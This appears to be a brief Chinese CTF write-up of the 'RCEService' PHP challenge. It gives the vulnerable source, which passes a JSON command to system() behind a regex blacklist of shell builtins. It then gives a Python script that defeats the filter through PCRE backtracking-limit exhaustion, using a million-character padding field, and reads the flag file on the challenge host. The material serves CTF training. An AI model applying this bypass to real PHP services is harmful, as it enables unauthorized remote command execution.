PHP试题之RCEService正则回溯解答

<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
    $json = $_REQUEST['cmd'];
    if (!is_string($json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } else {
        echo 'Attempting to run command:<br/>';
        $cmd = json_decode($json, true)['cmd'];
        if ($cmd !== NULL) {
            system($cmd);
        } else {
            echo 'Invalid input';
        }
        echo '<br/><br/>';
    }
}
?>

import requests
url='http://5dd96313-13f8-4eb6-89eb-0dbb5a4ba30a.node3.buuoj.cn'
data={
    'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","feng":"'+'a'*1000000+'"}'
}
r=requests.post(url=url,data=data).text
print(r)